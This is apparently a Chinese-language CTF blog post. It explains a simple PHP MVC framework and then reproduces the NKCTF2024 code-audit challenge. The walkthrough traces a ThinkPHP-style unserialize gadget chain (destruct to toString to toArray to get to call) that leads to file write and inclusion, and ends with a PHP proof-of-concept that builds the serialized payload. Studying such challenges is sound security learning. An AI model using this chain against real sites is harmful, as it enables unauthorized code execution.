php_mvc学习
前言
打完nkctf 最后一题代码审计还是学长穿的 赛后复现的时候 实在没审计出来 学长说这个是简单的mvc框架
学了那么久不知道什么是php mvc 今天恶补一下
mvc 第一个想到的就是java web的mvc 两者应该有什么共同之处
所有的例子都是来源于nkctf这最后一道题目
MVC
MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式。 MVC把软件系统分为三个基本部分:模型(Model)、视图(View)和控制器(Controller)。

路由处理
url参数主要由PATHINFO模式控制入口

我们访问这个网站之后 参数会被放到这里来处理
mvc将全局的路由全部储存在根目录下
函数库文件
框架自带functions.inc.php方法库,包含了很多数据模型创建的一些工具方法

在这里可以设置包含目录

通过__autoload方法 自动加载相关的类
框架要求相关的类命名规则如下
Controller
自动加载的控制器需要保存在Controller里面 命名为.class.php 会被自动加载

每个操作都是一个类里面对应的相关方法
view
视图的显示是基于Smarty模板引擎的,继承了Smarty类,并且重写了__construct,display,is_cached,clear_cache 方法。
NKCTF2024 用过就是熟悉 复现
寻找危险函数入口

注意到存在一个loginSubmit

data是一个我们输入的值 构造成一个数组之后 ,将password直接反序列化
给了hint tp 说明类似于thinkphp反序列化的链子,我们对照着看看
入口思路还是类似的 通过window.php的__destruct方法作为入口

在removeFiles函数里面 使用一个循环 将里面的内容拼接到相关的字符串里面

这里可以触发tostring

全局寻找tostring的函数
按照tp链子的思路 走的是

然后触发

这里的作者重写了toArray方法 但是由于items参数可以控制 能触发get方法
在触发view.php ()

这里可以触发Loginsubmit 前面参数可以控制 能触发call

这里可以写入文件

这里可以文件包含
那么我们的思路已经清楚了 构造链子
destruct->tostring->tojson->toarray->get->call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <?php
namespace think; class Config{}
namespace think; abstract class Testone{}
namespace think; use ArrayAccess; use ArrayIterator; use Countable; use IteratorAggregate; use JsonSerializable; use Traversable; class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable//tostring { public $items = []; public function getIterator() { }
public function offsetExists($offset) { }
public function offsetGet($offset) { }
public function offsetSet($offset, $value) { }
public function offsetUnset($offset) { }
public function count() { }
public function jsonSerialize() { }
}
namespace think\process\pipes;
use think\Collection; use think\Process; abstract class Pipes{} class Windows extends Pipes{ public $files = []; public function getDescriptors() { }
public function getFiles() { }
public function readAndWrite($blocking, $close = false) { }
public function areOpen() { } }
namespace think; use think\process\pipes\Windows;
class View//get { public $engine; public $data = []; }
$payload = new Windows(); $payload->files=array(new Collection()); $payload->files->items=new View(); $payload->files->items->data['Loginout']=new Debug(); $payload->files->items->engine=array('time'=>'10086'); echo base64_encode(serialize($payload));
|